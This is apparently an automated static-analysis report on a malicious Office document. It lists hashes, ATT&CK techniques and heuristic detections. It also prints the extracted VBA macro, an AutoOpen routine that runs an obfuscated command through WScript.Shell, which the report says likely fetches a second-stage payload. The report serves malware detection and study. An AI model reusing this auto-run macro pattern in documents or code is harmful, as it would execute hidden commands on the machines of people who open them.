Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 68ef29d4ccae9f64…

MALICIOUS

Office (OLE)

59.1 KB First seen: 2019-08-04
MD5: 632d1f936a4b21157425b424c9779083 SHA-1: 0b3409c0e246dac2ccb49d8938fbc5af510b7b4c SHA-256: 68ef29d4ccae9f64f99f18233d98a1fc222541d0d05a7c22844b47684ca2caec
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious OLE file containing VBA macros. The AutoOpen macro utilizes CreateObject("WScript.Shell") to execute an obfuscated command, likely to download and run a second-stage payload. The use of WScript.Shell and the AutoOpen macro strongly suggests an attempt at arbitrary code execution.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    On Error Resume Next
    CreateObject("WScript.Shell").Run! ChrW(2 + 11 + 11 + 9 + 34) + HhzzUXUEW + ImAKLIoJU + SoUdsBtjIj + hQDPhYprIHi + JzZjoSYaz + uuNmL + jiIVXTiAp + IhXpISdiWD + qrXzXFZMsfihw, 545026675 - 545026675
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    On Error Resume Next
    CreateObject("WScript.Shell").Run! ChrW(2 + 11 + 11 + 9 + 34) + HhzzUXUEW + ImAKLIoJU + SoUdsBtjIj + hQDPhYprIHi + JzZjoSYaz + uuNmL + jiIVXTiAp + IhXpISdiWD + qrXzXFZMsfihw, 545026675 - 545026675
    End Sub
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
    On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 567 bytes
SHA-256: 46498b251ef894b658d8a61d256fe9f49818e35653001a9910dba7dc7e42207e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "XjbqHVjO"

Sub AutoOpen()
On Error Resume Next
CreateObject("WScript.Shell").Run! ChrW(2 + 11 + 11 + 9 + 34) + HhzzUXUEW + ImAKLIoJU + SoUdsBtjIj + hQDPhYprIHi + JzZjoSYaz + uuNmL + jiIVXTiAp + IhXpISdiWD + qrXzXFZMsfihw, 545026675 - 545026675
End Sub


Attribute VB_Name = "CCkPuPzirVT"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True